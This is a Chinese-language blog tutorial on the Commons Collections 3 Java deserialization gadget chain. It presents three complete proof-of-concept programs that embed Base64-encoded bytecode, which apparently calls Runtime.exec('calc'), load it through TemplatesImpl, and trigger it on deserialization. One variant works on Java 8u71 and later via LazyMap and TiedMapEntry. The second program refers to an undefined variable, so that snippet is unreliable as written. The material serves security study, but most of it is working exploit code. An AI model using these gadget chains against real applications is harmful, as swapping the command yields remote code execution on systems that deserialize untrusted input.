CommonCollections3

CommonsCollections3是为了绕过一些规则对InvokerTransformer的限制而产生的，因为在CommonsCollections1中我们为了动态调用方法需要使InvokerTransformer这个类完成回调，被加入黑名单的话就切断了CommonsCollections1的利用链。

上一篇文章的TemplatesImpl动态加载字节码刚好就有用武之地了，将原来的回调链替换掉变成直接加载字节码。

先来看一个demo：

//jdk7u80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections3 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "test");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer", null, null),};Transformer transformerChain = new ChainedTransformer(transformers);//包装innerMap，回调TransformedMap.decorateMap innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发回调//outerMap.put("test", "xxxx");//反射调用AnnotationInvocationHandleClass clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj1 = construct.newInstance(Retention.class, outerMap);//生成序列化数据ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj1);oos.close();System.out.println(barr);//反序列化ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
}

由CommonsCollections1 AnnotationInvocationHandler这个POC修改而来，这时还是使用了InvokerTransformer只不过将执行的回调链改成TemplatesImpl::newTransformer()。

ysoserial当中的CommonsCollections3使用 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类，这个类的构造方法中调用了 (TransformerImpl) templates.newTransformer()，代替了InvokerTransformer调用newTransformer()

这时还需要一个实现了Transformer接口的类，去调用TrAXFilter的构造方法。这里用的是 org.apache.commons.collections.functors.InstantiateTransformer，其transform方法也调用了构造方法。

得到POC：

//jdk7u80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections3 {public static void main(String[] args) throws Exception {byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});setFieldValue(templatesImpl, "_name", "test");setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } ),};Transformer transformerChain = new ChainedTransformer(transformers);//包装innerMap，回调TransformedMap.decorateMap innerMap = new HashMap();innerMap.put("value", "xxxx");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发回调//outerMap.put("test", "xxxx");//反射调用AnnotationInvocationHandlesetFieldValue(transformerChain, "iTransformers", transformers);//生成序列化数据ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();System.out.println(barr);//反序列化ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

高版本触发（Java 8u71以上）

这个poc还有一个问题就是高版本无法触发，再修改一下使用CC6后半部分。

//jdk8u111
package ser;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections3 {public static void main(String[] args) throws Exception {byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");TemplatesImpl templatesImpl = new TemplatesImpl();setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});setFieldValue(templatesImpl, "_name", "test");setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } ),};//包装innerMap，回调TransformedMap.decorate//防止payload生成过程中触发，先放进去一个空的TransformTransformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");Map expMap = new HashMap();expMap.put(entry, "valuevalue");//移除entry那lazyMap的键lazyMap.remove("foo");//通过反射将真正的恶意Transform放进去setFieldValue(transformerChain, "iTransformers", transformers);//生成序列化数据ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();//System.out.println(barr);//反序列化ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

有的文章中也提到下面这句代码可以去掉

setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

原因是该属性无法被序列化，而且在该类的readobject方法中会对这属性进行初始化设置值，防止其为空值报错。

在缩小payload长度时可以利用这一点。

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Javaweb安全——反序列化漏洞-CC3链

CommonCollections3

高版本触发（Java 8u71以上）

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